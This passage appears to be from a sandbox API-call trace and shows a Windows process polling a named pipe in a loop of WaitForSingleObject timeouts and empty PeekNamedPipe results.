(hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.027] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.058] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.058] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.089] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.089] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.121] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.121] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.152] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.152] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.183] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.183] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.214] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.245] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.277] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.277] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.308] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.308] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.339] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.370] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.371] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.402] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.402] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.435] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.493] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.493] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.511] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.511] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.542] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.542] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.573] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.573] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.604] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.604] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.635] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.635] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.666] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.698] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.698] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.729] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.730] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.760] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.760] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.791] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.791] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.825] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.854] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.854] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.898] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.898] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.916] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.916] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.947] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.947] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.979] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.979] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.010] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.010] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.041] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.072] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.072] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.104] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.104] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.135] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.135] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.166] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.166] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.197] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.197] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.229] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.229] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.259] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.291] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.291] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.322] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.353] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.353] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.384] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.415] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.415] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.446] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.489] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.489] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.509] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.541] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.541] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.571] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.571] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.602] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.603] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.634] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.634] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.665] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.665] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.696] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.696] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.727] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.727] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.758] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.790] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.821] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.821] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.852] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.852] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.883] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.883] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.915] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.946] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0103.977] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0103.977] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.008] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.008] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.040] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.070] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.102] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.102] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.133] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0104.133] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0104.164] 